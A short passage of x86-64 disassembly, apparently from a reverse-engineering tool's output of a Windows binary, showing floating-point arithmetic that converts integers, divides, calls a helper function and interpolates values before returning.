cvtsi2ss xmm0, eax
movss dword [rsp + 0x40], xmm0
movss xmm0, dword [0x1400fa2b8]
divss xmm0, dword [rsp + 0x80]
movaps xmm1, xmm0
movss xmm0, dword [rsp + 0x40]
call fcn.140057bc0
movss xmm1, dword [0x1400fa2b8]
subss xmm1, dword [rsp + 0x88]
mulss xmm0, xmm1
movss xmm1, dword [rsp + 0x88]
addss xmm1, xmm0
movaps xmm0, xmm1
jmp 0x140054fc7
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x24]
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm0, eax
mov eax, dword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
sub ecx, eax
mov eax, ecx
cvtsi2ss xmm1, eax
divss xmm0, xmm1
add rsp, 0x58
ret